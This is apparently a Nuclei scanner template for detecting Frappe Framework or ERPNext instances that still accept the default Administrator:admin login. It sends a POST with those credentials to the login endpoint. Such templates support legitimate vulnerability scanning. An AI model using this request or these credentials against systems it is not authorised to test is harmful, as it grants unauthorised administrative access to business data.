frappe-default-login: Frappe Framework - Default Login Credentials

id: frappe-default-login

info:
  name: Frappe Framework - Default Login Credentials
  author: DhiyaneshDk
  severity: high
  description: |
    Frappe Framework (and ERPNext) is accessible using the default credentials Administrator:admin. Successful login exposes full administrative access to the ERP/CRM system and underlying data.
  reference:
    - https://frappeframework.com
    - https://docs.erpnext.com
  metadata:
    verified: true
    max-request: 1
  tags: default-login,frappe,erpnext

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/method/login"

    headers:
      Content-Type: application/x-www-form-urlencoded
      Accept: application/json

    body: "usr=Administrator&pwd=admin"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Logged In"
          - "full_name"
        part: body
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        name: full_name
        json:
          - ".full_name"
        part: body
# digest: 4b0a00483046022100ed57fc47988c3b3c1adf442caa81fd382f64028d51b25ce238755ce05a763cd7022100fa8c8778b1a571da9179468f45036c45c32504541b0a73971ffcacff81d98523:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.